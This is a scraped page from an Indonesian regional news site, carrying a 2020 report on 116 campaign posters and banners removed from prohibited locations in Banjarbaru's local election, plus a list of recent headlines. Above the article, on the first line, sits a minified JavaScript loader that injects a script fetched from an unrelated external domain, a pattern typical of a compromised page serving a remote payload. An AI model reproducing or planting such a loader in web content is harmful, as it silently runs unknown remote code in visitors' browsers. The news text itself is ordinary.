(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Pilkada Banjarbaru

Terpasang di Lokasi Terlarang, 116 Alat Peraga Kampanye Paslon Pilkada Banjarbaru Dicopot!


KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 116 buah alat peraga kampanye (APK) dan bahan kampanye yang terpasang di titik terlarang di wilayah Banjarbaru, dicopot paksa dalam giat penertiban pada Sabtu (3/10/2020) siang.

Giat ini dilakukan oleh Tim Penertiban APK, yang beranggotakan Bawaslu Banjarbaru, Panwascam, Polisi, Satpol PP, serta Badan Kesbangpol. Tim melakukan penertiban APK secara terpisah di 5 Kecamatan wilayah Banjarbaru.

Adapun ratusan APK yang ditertibkan tersebut ialah media promosi ketiga pasangan calon (paslon) Wali Kota dan Wakil Wali Kota Banjarbaru pada ajang kontestasi Pilkada 2020. Rincian APK yang dicopot, berdasarkan jenis, yaitu 27 baleho, 84 spanduk, dan 5 stiker -total 116 APK-.

Koordinator Divisi Pengawasan Hubungan Masyarakat dan Hubungan Antar Lembaga Bawaslu Banjarbaru Normadina, mengungkapkan bahwa giat penertiban ini berdasarkan keputusan KPU Banjarbaru ihwal adanya sejumlah titik lokasi yang dilarang terpasang APK para paslon.

“Jadi hari ini kita hanya menertibkan APK yang terpasang di lokasi yang dilarang serta tidak berizin. Di luar itu kami tidak menertibkan, karena untuk penertiban massal dijadwalkan pada 5 Desember,” katanya.

Dijelaskan Dina -sapaan akrabnya, ada berbagai titik lokasi yang dilarang terpasang APK. Misalnya tempat ibadah termasuk halaman atau di fasilitas kesehatan seperti Rumah Sakit dan Puskesmas. Lalu, di gedung milik pemerintah atau milik BUMM dan BUMD juga tidak diperbolehkan.

“Di fasilitas pendidikan, median jalan dan bundaran persimpangan jalan juga tidak boleh dipasang APK. Termasuk di tiang-tiang listrik juga tidak diperbolehkan, karena membahayakan jaringan,” terangnya.

Menurut data yang diterima Kanalkalimantan, APK terbanyak yang copot berada di Kecamatan Landasan Ulin. Jumlahnya mencapai 47 buah.
Sebelum dilakukan penertiban, Dina mengungkapkan bahwa pihaknya telah memberitaukan masing-masing paslon maupun tim pemenangan, untuk melakukan pencopotan sendiri. Kendati tak dihiraukan, maka pihaknya tak segan melakukan penertiban paksa.

“Sudah jauh-jauh hari kita beritaukan untuk segera dicopot. Tapi karena tidak ada tindak lanjut dari mereka, maka kita yang turun menertibkan,” pungkasnya. (Kanalkalimantan.com/rico)

Reporter : Rico
Editor : Cell

Al Ghifari

Recent Posts

Silaturahmi Bersama Buruh-Kapolda, Serikat Pekerja Kalsel Tetap Menolak UU Citaker Hapus Outsourcing

KANALKALIMANTAN.COM, BANJARMASIN - Moment Hari Buruh 1 Mei 2024 dirayakan berbeda oleh kalangan buruh yang… Read More

2 jam ago

KPU Banjarbaru Rencanakan Launching Pilkada 2024 Akhir Mei

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar audiensi bersama Wali Kota Banjarbaru,… Read More

3 jam ago

Jembatan Pulau Telo Tertabrak Kapal Pembawa Crane, Pj Bupati Cek Kondisi

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi meninjau kondisi Jembatan Pulau Telo… Read More

4 jam ago

HMI Banjarmasin Komitmen Perjuangkan Kesejahteraan dan Hak Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Demo mahasiswa yang tergabung dalam Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin dan… Read More

16 jam ago

May Day di Kuala Kapuas, Pj Bupati Erlin Hardi Jalan Santai Bersama Buruh dan Masyarakat

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi peringati Hari Buruh Sedunia atau… Read More

16 jam ago

SPM Pendidikan Banjarbaru Capai Skor 84,57, BPMP Kalsel Beri Penghargaan ke Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi melalui Balai Penjamin Mutu Pendidikan (BPMP)… Read More

17 jam ago

This website uses cookies.